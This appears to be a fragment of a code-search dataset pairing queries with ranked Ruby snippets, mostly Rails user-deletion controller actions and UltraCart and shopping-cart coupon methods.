format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.6921658", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bfc9cf336fdba70e33868a16d1ed4abd", "score": "0.69190514", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f7c8b9784ae3aa916dfb11480b797895", "score": "0.6917063", "text": "def destroy\n @user = User.find(params[:id])\n @user.status = 'deleted'\n @user.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end", "title": "" }, { "docid": "10c57d1e1f1847c6824d1e938811ff41", "score": "0.6915335", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: '.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d88a6500f0566d646d55067066d95712", "score": "0.69138086", "text": "def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9b16d1b4a08c6c599fb206152cf36d60", "score": "0.6910878", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "16ed4f023ececd4b73bee2a7450987ce", "score": "0.69021314", "text": "def destroy\n @user.destroy\n render json: {message: 'Usuario Excluido'} , status: :ok\n end", "title": "" }, { "docid": "a94cd108049d5c784b4ac74070f0ddf5", "score": "0.68989736", "text": "def destroy\n # Make sure the request came from an admin\n unless session[:admin_id]\n redirect_to_home\n return\n end\n \n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b20f9764257ce5b542c50849c2667883", "score": "0.689534", "text": "def destroy\n @user = current_org.users.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n\n end", "title": "" }, { "docid": "937b3827665cd2943db1d179b82cce0c", "score": "0.6894473", "text": "def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end", "title": "" }, { "docid": "79e59ef0bc50aa13d2d93079a4d78f16", "score": "0.6893707", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a3555514a8c25eb906e0889f6912510b", "score": "0.6892888", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "bd50bf216d46d8f6442d5592aa7e9749", "score": "0.6888111", "text": "def destroy\n @user = User.find(params[:user_id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4bfb501a2a381cdf94943855b22f54a", "score": "0.6887808", "text": "def delete\n params = self.class.prepare_params_for(:delete, \"userName\" => user_name)\n response = self.class.perform(params)\n self.class.check_response(response)\n end", "title": "" }, { "docid": "ec4635c8a505e719eb487df8ae17bb96", "score": "0.68870926", "text": "def destroy\n @myuser.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "bc073c87101976f15ced9783cb58bbf8", "score": "0.6882033", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc073c87101976f15ced9783cb58bbf8", "score": "0.6882033", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc073c87101976f15ced9783cb58bbf8", "score": "0.6882033", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc073c87101976f15ced9783cb58bbf8", "score": "0.6882033", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "137ffcfb57b740cc360cff2b7cd215a0", "score": "0.6880304", "text": "def destroy\n\n logger.tagged(\"destroy\",\"beginning\") {logger.debug \"I'M HERE!\"}\n @user = User.find(params[:id])\n can_destroy_hash = Permissions.hasMorePermissions(@current_user,@user)\n @can_destroy = can_destroy_hash[:has_permission]\n if @can_destroy\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n else\n flash[:warning] = can_destroy_hash[:permission_message]\n redirect_to user_path(@user)\n end\n\n end", "title": "" }, { "docid": "bf42b70221760e3241fc7950c0291794", "score": "0.68784386", "text": "def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end", "title": "" }, { "docid": "933f79f978ad432089a1fecae253293f", "score": "0.687696", "text": "def destroy\n raise \"Action Not Allowed\"\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6420c61a8f44adb55dac7052ccd00aa4", "score": "0.6876548", "text": "def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
6aee821d0a81ca31163ae2060fa35447
Insert multiple coupons Insert multiple coupon on the UltraCart account.
[ { "docid": "61f5486e0a508a1d46abf023c2f775a7", "score": "0.562356", "text": "def insert_coupons_with_http_info(coupons_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CouponApi.insert_coupons ...'\n end\n # verify the required parameter 'coupons_request' is set\n if @api_client.config.client_side_validation && coupons_request.nil?\n fail ArgumentError, \"Missing the required parameter 'coupons_request' when calling CouponApi.insert_coupons\"\n end\n # resource path\n local_var_path = '/coupon/coupons/batch'\n\n # query parameters\n query_params = {}\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n query_params[:'_placeholders'] = opts[:'_placeholders'] if !opts[:'_placeholders'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json; charset=UTF-8'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(coupons_request)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CouponsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CouponApi#insert_coupons\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "8a57a2e4ec6e96caed4743fe33e2aeb5", "score": "0.6924682", "text": "def create_coupons!()\n deal = Deal.find(self.deal.id)\n for i in (1..self.quantity)\n dc = DealCode.find(:first, :conditions => [\"deal_id = ? AND reserved = ? AND incentive = ?\", deal.id, false, false], :lock => true)\n if dc\n Coupon.create!(:user_id => self.user.id, :deal_id => deal.id, :order_id => self.id, :deal_code_id => dc.id)\n dc.update_attributes!(:reserved => true)\n end\n end\n end", "title": "" }, { "docid": "eb5576ca478808bef359bcb912509662", "score": "0.68206096", "text": "def add_coupon\n # Make sure coupons are enabled\n if CartConfig.get(:coupons, :disable)\n flash[:error] = \"Coupons are disabled\"\n redirect_back_with_default :action => 'show'\n return\n end\n\n # Make sure this is the first coupon, or multiples are allowed\n if CartConfig.get(:coupons, :allow_only_one) and !@cart.coupons.empty?\n flash[:warning] = 'Only one coupon can be used at a time'\n redirect_back_with_default :action => 'show'\n return\n end\n\n ccode = (params[:coupon] || {})[:code]\n\n # Make sure the customer passes in a coupon code\n if ccode.nil? or ccode.empty?\n flash[:warning] = 'Unable to apply coupon: no code given?'\n redirect_back_with_default :action => 'show'\n return\n end\n\n coupon = Coupon.find(\n :first,\n :conditions => [\n 'effective_on <= ? AND\n (ineffective_on >= ? OR ineffective_on IS NULL) AND\n code = ?',\n Date.today, Date.today, ccode\n ]\n )\n\n unless coupon\n flash[:warning] = \"Unable to find coupon with code: #{ccode}\"\n redirect_back_with_default :action => 'show'\n return\n end\n\n unless coupon.applies_to?(@cart)\n flash[:warning] = \"Your cart does not qualify for coupon\"\n redirect_back_with_default :action => 'show'\n return\n end\n\n if @cart.coupons.include?(coupon)\n flash[:warning] = \"Coupon has already been applied to cart\"\n redirect_back_with_default :action => 'show'\n return\n end\n\n @cart.coupons << coupon\n coupon.create_double_lines_for(@cart).each do |cl|\n if cl.new_record?\n (flash[:errors] ||= '') << \"Unable to create coupon line: <ul><li>\"+\n cl.errors.full_messages.join('</li><li>') +\n \"</ul>\"\n end\n end\n redirect_back_with_default :action => 'show'\n end", "title": "" }, { "docid": "e4b0d169a70cc7fbd8388d1ef5edddb2", "score": "0.6788262", "text": "def perform(campaign_id, coupons)\n campaign = Spree::Campaign.find(campaign_id)\n coupons.each do |code|\n campaign.coupons.find_or_create_by(code: code.strip)\n end\n campaign.update_attribute(:coupons_processing,false)\n end", "title": "" }, { "docid": "36acaec4027244c32a9b153dbf136e4d", "score": "0.67614084", "text": "def insert_coupons(coupons_request, opts = {})\n data, _status_code, _headers = insert_coupons_with_http_info(coupons_request, opts)\n data\n end", "title": "" }, { "docid": "89bd1e87bb8b21dac50417725bf2920d", "score": "0.6689231", "text": "def add_coupons(cpns_code)\n Coupon.new(self,nil).add(cpns_code)\n end", "title": "" }, { "docid": "2b8b5f39c103653dd44d3b8f4455e30c", "score": "0.6665607", "text": "def apply_coupons(cart:[], coupons:[])\n coupons.each { |coupon| apply_coupon(coupon, cart) if valid_coupon?(coupon, cart) }\n cart\nend", "title": "" }, { "docid": "23b792bfa3cf2e6a40ac251bf32522c4", "score": "0.648441", "text": "def create\n amount = params[:amount].to_i\n count_coupon = params[:amount].to_i + @promotion.coupons.count\n if (@promotion.coupon_limit - count_coupon) > -1\n amount.times do\n code = Coupon.generate_code(@promotion.prefix)\n @coupon = Coupon.new(user: current_user,\n code: code,\n promotion: @promotion,\n status: :available)\n @coupon.save\n end\n else\n flash[:danger] = 'Numero de cupons ultrapassa limite de emissao'\\\n ' estabelecido'\n redirect_to(promotion_path(@promotion)) && return\n end\n flash[:success] = 'Cupons criados com sucesso!'\n redirect_to promotion_coupons_path(@promotion)\n end", "title": "" }, { "docid": "e7ad514477f68d4c2a6f308933d47ad8", "score": "0.6333011", "text": "def add_coupon(coupon)\n self.class.add_coupon(cart_id, coupon)\n end", "title": "" }, { "docid": "512d19ac83c3d2b2737adb7da6036c41", "score": "0.6312795", "text": "def create(options)\n ::Coupons::Models::Coupon.create!(options)\n end", "title": "" }, { "docid": "c82c0c3dada6e575fbe356ceb40b2992", "score": "0.6244097", "text": "def apply_coupons(cart, coupons)\n coupons.each do |cpn|\n #set variable equal to the name of the discounted item for cleaner code\n discounted_item = cpn[:item]\n #if the item exists in the cart...\n if cart[discounted_item] != nil\n #if the cart has the minimum count of items for a coupon to be valid...\n if cart[discounted_item][:count] >= cpn[:num]\n #calculate the discounted price for the item\n new_price = cpn[:cost] / cpn[:num]\n #calculate the number of items remaining at full price\n remaining_full_price = cart[discounted_item][:count] % cpn[:num] #3%2 = 1\n #calculate the number of items that will have the discounted price applied\n coupon_applied = cart[discounted_item][:count] - remaining_full_price\n #maintain the clearance status\n clearance = cart[discounted_item][:clearance]\n #create new discounted item\n cart[\"#{discounted_item} W/COUPON\"] = {:price => new_price, :clearance => clearance, :count => coupon_applied}\n #change the previous cart number to the number remaining\n cart[discounted_item][:count] = remaining_full_price\n #else, the cart doesn't have the minimum number of items required to qualify for the coupon\n #OR the item doesn't exist in the cart\n else\n #donothing\n end\n end\n end\n cart\nend", "title": "" }, { "docid": "c0f89aa93cba45efef0de5baa7e0d9e6", "score": "0.6208005", "text": "def apply_coupons(cart, coupons)\n i = 0\n coupons.each do |coupon|\n item_with_coupon = find_item_by_name_in_collection(coupon[:item], cart)\n item_is_in_basket = !!item_with_coupon\n count_is_big_enough_to_apply = item_is_in_basket && item_with_coupon[:count] >= coupon[:num]\n if item_is_in_basket and count_is_big_enough_to_apply\n cart << { item: \"#{item_with_coupon[:item]} W/COUPON\",\n price: coupon[:cost] / coupon[:num],\n clearance: item_with_coupon[:clearance],\n count: coupon[:num]\n }\n item_with_coupon[:count] -= coupon[:num]\n end\n i += 1\n end\n cart\nend", "title": "" }, { "docid": "6d19b48d102925d277802949db2a75c6", "score": "0.6181003", "text": "def insert_coupon(coupon, opts = {})\n data, _status_code, _headers = insert_coupon_with_http_info(coupon, opts)\n data\n end", "title": "" }, { "docid": "8a78547e25ba2b92f0bed884b41cc77a", "score": "0.61675924", "text": "def apply_coupons(cart, coupons)\n coupons.each do |coupon|\n name = coupon[:item]\n if cart[name] && cart[name][:count] >= coupon[:num]\n if cart[\"#{name} W/COUPON\"]\n cart[\"#{name} W/COUPON\"][:count] += 1\n else\n cart[\"#{name} W/COUPON\"] = {:price => coupon[:cost], :count => 1}\n cart[\"#{name} W/COUPON\"][:clearance] = cart[\"#{name}\"][:clearance]\n end\n cart[\"#{name}\"][:count] -= coupon[:num]\n end\n end\n cart\nend", "title": "" }, { "docid": "ed990e433fb00cb1027d529667b648ab", "score": "0.61637306", "text": "def apply_coupons(cart, coupons)\n coupons.each do |coupon|#for each coupon...\n coupon_item = coupons[coupon][:item]\n if cart[coupon_item][:count] >= coupons[coupon][:num] #if there are at least enough items for the coupon to be applied...\n new_price = coupons[coupon][:cost] / coupons[coupon][:num] #calculate the discounted price for the item\n remaining_full_price = cart[coupon_item][:count] % coupons[coupon][:num] #calculate the number of items remaining at full price\n coupon_applied = cart[coupon_item][:count] - remaining_full_price #calculate the number of items that will have the discounted price applied\n cart[\"#{coupon_item} W/COUPON\"] = {:price => new_price, :clearance => true, :count => coupon_applied} #create new discounted item\n cart[coupon_item][:count] = remaining_full_price #change the previous cart number to the number remaining\n if cart[coupon_item][:count] == 0 #if there are no full price items left...\n cart.delete(coupon_item) #delete the full price item hash from the cart\n end\n else\n false\n end\n end\n cart #return the new cart with coupons applied\nend", "title": "" }, { "docid": "ebcab75eb6628029c2908d8f5b8cec45", "score": "0.6138699", "text": "def apply_coupons(cart, coupons)\n counter = 0\n # doesn't break if there is no coupon\n while counter < coupons.length\n # check coupons to see if it matches any of our cart items\n cart_item = find_item_by_name_in_collection(coupons[counter][:item], cart)\n # does the coupon item exist in the cart? change name to add \"W/COUPON\"\n couponed_item_name = \"#{coupons[counter][:item]} W/COUPON\"\n cart_item_with_coupon = find_item_by_name_in_collection(couponed_item_name, cart)\n # checks if the item is in the cart and that the count satisfies the coupon reqs\n # doesn't break if the coupon doesn't apply to any items\n if cart_item && cart_item[:count] >= coupons[counter][:num]\n # can apply multiple coupons\n if cart_item_with_coupon\n cart_item_with_coupon[:count] += coupons[counter][:num]\n cart_item[:count] -= coupons[count][:num]\n else\n # adds the coupon price to the property hash of couponed item\n cart_item_with_coupon = {\n :item => couponed_item_name,\n # adds the coupon price to the property hash of couponed item\n :price => coupons[counter][:cost] / coupons[counter][:num],\n # adds the count number to the property hash of couponed item\n :count => coupons[counter][:num],\n # remembers if the item was on clearance\n :clearance => cart_item[:clearance]\n }\n cart << cart_item_with_coupon\n # removes the number of discounted items from the original item's count\n cart_item[:count] -= coupons[counter][:num]\n end\n end\n counter += 1\n end\n cart\nend", "title": "" }, { "docid": "cc23c6cc510df1ee863f045c5bf911f5", "score": "0.6101836", "text": "def apply_coupons(cart, coupons)\n coupon_item = coupon[:item]\n if cart[coupon_item][:count] >= coupons[coupon][:num] #if there are at least enough items for the coupon to be applied...\n new_price = coupons[coupon][:cost] / coupons[coupon][:num] #calculate the discounted price for the item\n remaining_full_price = cart[coupon_item][:count] % coupons[coupon][:num] #calculate the number of items remaining at full price\n coupon_applied = cart[coupon_item][:count] - remaining_full_price #calculate the number of items that will have the discounted price applied\n cart[\"#{coupon_item} W/COUPON\"] = {:price => new_price, :clearance => true, :count => coupon_applied} #create new discounted item\n cart[coupon_item][:count] = remaining_full_price #change the previous cart number to the number remaining\n if cart[coupon_item][:count] == 0 #if there are no full price items left...\n cart.delete(coupon_item) #delete the full price item hash from the cart\n end\n else\n false\n end\n cart #return the new cart with coupons applied\nend", "title": "" }, { "docid": "9b2e93bd52aeb4ecafbf8b79ab25e83a", "score": "0.6080719", "text": "def apply_coupon(coupon)\n assert_customer_exists\n\n customer = as_stripe_customer\n\n customer.coupon = coupon\n\n customer.save\n end", "title": "" }, { "docid": "5eccd88fe3e1046674a3bcec86dd352f", "score": "0.5898379", "text": "def insert_coupon\n coupon = Coupon.create!(params[:coupon])\n render :text => coupon.code\n rescue => e\n render :text => \"ERROR: #{e.to_s}\"\n end", "title": "" }, { "docid": "54f95341406c133d9c171a2b79961046", "score": "0.5860481", "text": "def add(cpns_code)\n headers, params = build_request_data(cpns_code.count) do |config, headers, hshstr|\n [config.api_version.to_s, Digest::SHA1.hexdigest(hshstr)]\n end\n urlstr = generate_url('/%s/coupons/create.json?hash=%s', params)\n JSON.parse(RestClient.post(urlstr, { :coupons => cpns_code }, headers))\n end", "title": "" }, { "docid": "8dc7c7b40471c29a1f90ef01ad7c1844", "score": "0.581976", "text": "def apply_coupons(cart, coupons)\n coupons.each do |coupon|\n food = coupon[:item]\n if cart[food] && cart[food][:count] >= coupon[:num]\n if cart[\"#{food} W/COUPON\"]\n cart[\"#{food} W/COUPON\"][:count] += 1\n else\n cart[\"#{food} W/COUPON\"] = {count: 1, price: coupon[:cost]}\n cart[\"#{food} W/COUPON\"][:clearance] = cart[food][:clearance]\n end\n cart[food][:count] -= coupon[:num]\n end\n end\n cart\nend", "title": "" }, { "docid": "d7c5ccc5aa9852a67eba4c86eacd6def", "score": "0.58122814", "text": "def create\n\t\t@coupon =Coupon.new(coupon_params)\n\t\t@coupon.save!\n\t\tredirect_to new_coupon_path,notice: \"Coupon has been created\"\n\tend", "title": "" }, { "docid": "a804a86e2bcea122da0629270d8b92e3", "score": "0.5805144", "text": "def apply_coupons(cart, coupons)\n copy_item = nil\n original_item_count=0\n text= ' W/COUPON'\n coupon_tot = 0\n\n cart.each do |item|\n coupons.each do |coupon|\n if(item[:item] == coupon[:item] && item[:count] / coupon[:num] >=1)\n original_item_count = item[:count]\n coupuon_tot = (item[:count] / coupon[:num]).floor\n item[:count] = item[:count] - (((item[:count] / coupon[:num]).floor) * coupon[:num])\n copy_item = item.clone\n copy_item[:count] = original_item_count - item[:count]\n copy_item[:item] = copy_item[:item] + text\n copy_item[:price] = coupon[:cost] / coupon[:num]\n cart.push(copy_item)\n end\n end \n end \n cart\nend", "title": "" }, { "docid": "c543593eb9ab8542e9c40f59d1abeaa9", "score": "0.5780091", "text": "def create\n @coupon = Coupon.new\n @coupon.store = params[:coupon][:store]\n @coupon.coupon_code = params[:coupon][:coupon_code]\n @coupon.save\n redirect_to Coupon.last\n end", "title": "" }, { "docid": "d98fa31f20964dd989e4e22f029fb977", "score": "0.57780844", "text": "def apply_coupons(cart, coupons)\n # binding.pry\n coupons.each do |coupon|\n item_in_cart = find_item_by_name_in_collection(coupon[:item], cart) \n cart_item_w_coupon = find_item_by_name_in_collection(coupon[:item] + \" W/COUPON\", cart)\n if cart_item_w_coupon && item_in_cart[:count] >= coupon[:num] \n cart_item_w_coupon[:count] += coupon[:num] \n item_in_cart[:count] -= coupon[:num] \n elsif item_in_cart && item_in_cart[:count] >= coupon[:num]\n cart << {\n :item => coupon[:item] + \" W/COUPON\",\n :price => coupon[:cost] / coupon[:num],\n :count => coupon[:num],\n :clearance => item_in_cart[:clearance]\n }\n item_in_cart[:count] -= coupon[:num]\n end \n end\n cart\nend", "title": "" }, { "docid": "936098106bf1c0112f387603758514f5", "score": "0.5757179", "text": "def apply_coupons(cart, coupons)\n coupons.each do |elem|\n if cart[elem[:item]]\n if cart[elem[:item]][:count] >= elem[:num]\n if cart[\"#{elem[:item]} W/COUPON\"]\n cart[\"#{elem[:item]} W/COUPON\"][:count] += elem[:num]\n else\n coupon_price = elem[:cost] / elem[:num]\n coupon_clearance = cart[elem[:item]][:clearance]\n cart[\"#{elem[:item]} W/COUPON\"] = {\n price: coupon_price,\n clearance: coupon_clearance,\n count: elem[:num]\n }\n end\n cart[elem[:item]][:count] -= elem[:num]\n end\n end\n end\n cart\nend", "title": "" }, { "docid": "0cf7435cb43016692a1ef3f3e7d100ea", "score": "0.57478994", "text": "def apply_coupons(cart, coupons)\n coupons.each do |coupon|\n item = coupon[:item] #avocado, cheese,...\n coupon_item=\"#{item} W/COUPON\"\n if cart.has_key?(item) \n if cart[item][:count] >= coupon[:num]\n if !cart[coupon_item] \n cart[coupon_item] ={count: coupon[:num], price: coupon[:cost]/ coupon[:num], clearance: cart[item][:clearance] }\n else\n cart[coupon_item][:count] += coupon[:num]\n end\n cart[item][:count] -= coupon[:num] \n end\n end\n end\n cart\nend", "title": "" }, { "docid": "73e3d172b54d48dd0af5410a6a8a0b90", "score": "0.571017", "text": "def coupon_params\n params.require(:coupon).permit(:shop_id, :country_id, :kind, :discount_mode, :discount, 